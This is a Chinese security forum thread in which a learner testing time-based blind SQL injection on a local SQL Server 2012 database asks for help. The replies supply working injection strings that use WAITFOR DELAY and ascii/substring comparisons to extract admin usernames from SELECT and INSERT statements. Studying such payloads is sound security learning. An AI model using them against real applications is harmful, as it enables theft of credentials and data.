首页
社区
课程
招聘
[求助]SQL SERVER 2012中尝试对某sql语句进行时间盲注,然后遇到一点问题
发表于: 2017-4-24 10:26 1985

[求助]SQL SERVER 2012中尝试对某sql语句进行时间盲注,然后遇到一点问题

2017-4-24 10:26
1985

  自己在数据库(SQL SERVER 2012)里测试一下时间盲注的语句怎样写的时候遇到了点问题


一,在insert语句中,假定要被注入的sql语句形式为:insert into admin values('a'); ,其中a是用户提交的输入,那么这样输入的时候遇到了这个问题

   


二,假定sql语句形式为 select * from admin where username='a'; 其中a为用户输入,又遇到了以下问题


这个.....网上的很多讲解时间盲注的应该都是基于MySql的吧.....然后我在Sql Server里先练习一下时间盲注的语句怎样写的时候就遇到了这样的问题......求教以上select 和insert里,各自的问题应该怎样解决


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 0
支持
分享
最新回复 (4)
雪    币: 4
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
SELECT  *  FROM  admin  where  username='1'  and  1=(select  count(*)  from  admin  where  username  in  (select  top  1  username  from  admin)  and  ascii(substring(username,1,1))>90)  WAITFOR  delay  '0:0:10'
2017-5-10 16:18
0
雪    币: 4
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
SELECT  *  FROM  admin  where  username='1'  if  (1=(select  count(*)  from  admin  where  username  in  (select  top  1  username  from  admin)  and  ascii(substring(username,1,1))>100))  WAITFOR  delay  '0:0:10'  else    WAITFOR  delay  '0:0:5'
2017-5-10 16:24
0
雪    币: 4
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
大于符号被编码了,就是这个&gt
2017-5-10 16:25
0
雪    币: 4
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
使用insert进行基于时间的盲注,我刚刚在本地这样测试的。可能admin表的字段数不一样。如果有更好的方法,麻烦告诉我一下,谢谢哈
INSERT  into  admin  VALUES('test12','test12342','2017-05-010')  if  (1=(select  count(*)  from  admin  where  username  in  (select  top  1  username  from  admin)  and  ascii(substring(username,1,1))>100))WAITFOR  delay  '0:0:2'  ELSE  WAITFOR  delay  '0:0:5'
2017-5-10 16:51
0
游客
登录 | 注册 方可回帖
返回
//